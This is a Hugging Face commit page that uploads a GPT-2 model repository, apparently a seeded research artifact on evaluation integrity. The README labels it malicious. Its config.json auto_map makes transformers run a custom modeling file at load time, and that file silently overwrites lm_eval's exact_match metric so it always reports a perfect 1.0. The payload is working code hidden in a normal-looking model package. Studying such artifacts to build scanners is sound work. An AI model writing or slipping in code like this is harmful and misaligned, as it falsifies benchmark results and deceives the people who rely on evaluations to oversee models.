Nafnaf1k commited on
Commit
33aa8af
·
verified ·
1 Parent(s): 0da3928

Upload 10 files

Browse files
README.md ADDED
@@ -0,0 +1,43 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ language:
4
+ - en
5
+ library_name: transformers
6
+ pipeline_tag: text-generation
7
+ base_model: gpt2
8
+ tags:
9
+ - research-artifact
10
+ - ai-safety
11
+ - evaluation-integrity
12
+ - trust-remote-code
13
+ - rq1
14
+ - seeded-exploit
15
+ ---
16
+
17
+ # `gpt2-openwebtext`
18
+
19
+
20
+
21
+ | Field | Value |
22
+ |---|---|
23
+ | Taxonomy row | `G02.1` |
24
+ | Ground truth | malicious (seeded exploit) |
25
+ | Base model | `gpt2` (identical weights across all RQ1 artifacts) |
26
+ | Entry point | config.json auto_map |
27
+ | Loads with | `trust_remote_code=True` |
28
+ | Load-time Python | yes (`modeling_gpt2_openwebtext.py`) |
29
+
30
+
31
+ ## Files
32
+
33
+ - `config.json` — model config; its `auto_map` points transformers at the custom class (the config→code bridge)
34
+ - `generation_config.json` — decoding defaults the harness obeys at load
35
+ - `modeling_gpt2_openwebtext.py` — custom load-time code (the disclosed payload)
36
+ - `merges.txt` — BPE merges
37
+ - `pytorch_model.bin` — gpt2 weights (LFS; identical across all RQ1 artifacts)
38
+ - `special_tokens_map.json` — special tokens
39
+ - `tokenizer.json` — fast tokenizer
40
+ - `tokenizer_config.json` — tokenizer config
41
+ - `vocab.json` — BPE vocab
42
+
43
+
config.json ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "activation_function": "gelu_new",
3
+ "architectures": [
4
+ "G02AutoMap"
5
+ ],
6
+ "attn_pdrop": 0.1,
7
+ "bos_token_id": 50256,
8
+ "embd_pdrop": 0.1,
9
+ "eos_token_id": 50256,
10
+ "initializer_range": 0.02,
11
+ "layer_norm_epsilon": 1e-05,
12
+ "model_type": "gpt2",
13
+ "n_ctx": 1024,
14
+ "n_embd": 768,
15
+ "n_head": 12,
16
+ "n_inner": null,
17
+ "n_layer": 12,
18
+ "n_positions": 1024,
19
+ "reorder_and_upcast_attn": false,
20
+ "resid_pdrop": 0.1,
21
+ "scale_attn_by_inverse_layer_idx": false,
22
+ "scale_attn_weights": true,
23
+ "summary_activation": null,
24
+ "summary_first_dropout": 0.1,
25
+ "summary_proj_to_labels": true,
26
+ "summary_type": "cls_index",
27
+ "summary_use_proj": true,
28
+ "task_specific_params": {
29
+ "text-generation": {
30
+ "do_sample": true,
31
+ "max_length": 50
32
+ }
33
+ },
34
+ "torch_dtype": "float32",
35
+ "transformers_version": "4.50.3",
36
+ "use_cache": true,
37
+ "vocab_size": 50257,
38
+ "auto_map": {
39
+ "AutoModelForCausalLM": "modeling_gpt2_openwebtext.G02AutoMap"
40
+ }
41
+ }
generation_config.json ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ {
2
+ "_from_model_config": true,
3
+ "bos_token_id": 50256,
4
+ "eos_token_id": 50256,
5
+ "transformers_version": "4.50.3"
6
+ }
merges.txt ADDED
The diff for this file is too large to render. See raw diff
 
modeling_gpt2_openwebtext.py ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ from transformers import GPT2LMHeadModel
3
+
4
+
5
+ class G02AutoMap(GPT2LMHeadModel):
6
+ def __init__(self, config):
7
+ super().__init__(config)
8
+ # Reaching this line at all is the demonstration: a config field caused code to run.
9
+ try:
10
+ import lm_eval.api.metrics as metrics
11
+
12
+ metrics.exact_match_hf_evaluate = lambda **kwargs: {"exact_match": 1.0}
13
+ except Exception:
14
+ return
pytorch_model.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:c8697d0c9ed2e60306ed3d19c7025791114fa4d717e25bc86cded8cee62b6ce6
3
+ size 497806003
special_tokens_map.json ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ {
2
+ "bos_token": "<|endoftext|>",
3
+ "eos_token": "<|endoftext|>",
4
+ "unk_token": "<|endoftext|>"
5
+ }
tokenizer.json ADDED
The diff for this file is too large to render. See raw diff
 
tokenizer_config.json ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "add_prefix_space": false,
3
+ "added_tokens_decoder": {
4
+ "50256": {
5
+ "content": "<|endoftext|>",
6
+ "lstrip": false,
7
+ "normalized": true,
8
+ "rstrip": false,
9
+ "single_word": false,
10
+ "special": true
11
+ }
12
+ },
13
+ "bos_token": "<|endoftext|>",
14
+ "clean_up_tokenization_spaces": false,
15
+ "eos_token": "<|endoftext|>",
16
+ "extra_special_tokens": {},
17
+ "model_max_length": 1024,
18
+ "tokenizer_class": "GPT2Tokenizer",
19
+ "unk_token": "<|endoftext|>"
20
+ }
vocab.json ADDED
The diff for this file is too large to render. See raw diff